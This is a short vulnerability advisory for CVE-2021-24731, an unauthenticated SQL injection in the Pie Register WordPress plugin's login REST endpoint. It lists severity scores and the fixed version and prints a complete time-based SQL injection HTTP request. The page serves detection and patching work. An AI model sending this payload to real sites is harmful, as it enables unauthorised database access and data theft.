| Title | Pie Register < 3.7.1.6 - SQL Injection |
|---|---|
| Author | theamanrawat |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation. |
| Remediation | Fixed in version 3.7.1.6 |
| CVSS Score | 9.8 |
| EPSS Score | 0.53132 |
| CVE ID | CVE-2021-24731 |
| CWE ID | CWE-89 |
| Tags | time-based-sqli cve cve2021 sqli wpscan wordpress wp-plugin wp pie-register unauth genetechsolutions vuln |
The Registration Forms User profile, Content Restriction, Spam Protection, Payment Gateways, Invitation Codes WordPress plugin before 3.7.1.6 does not properly escape user data before using it in a SQL statement in the wp-json/pie/v1/login REST API endpoint, leading to an SQL injection.
POST /wp-json/pie/v1/login HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (SS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Connection: close
Content-Length: 88
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip
user_login='+AND+(SELECT+8149+FROM+(SELECT(SLEEP(3)))NuqO)+AND+'YvuB'='YvuB&login_pass=a
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24731.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-24731.pcap
N/AN/A